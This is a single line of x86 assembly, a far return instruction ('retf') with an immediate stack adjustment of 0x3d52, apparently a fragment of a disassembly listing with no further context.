retf 0x3d52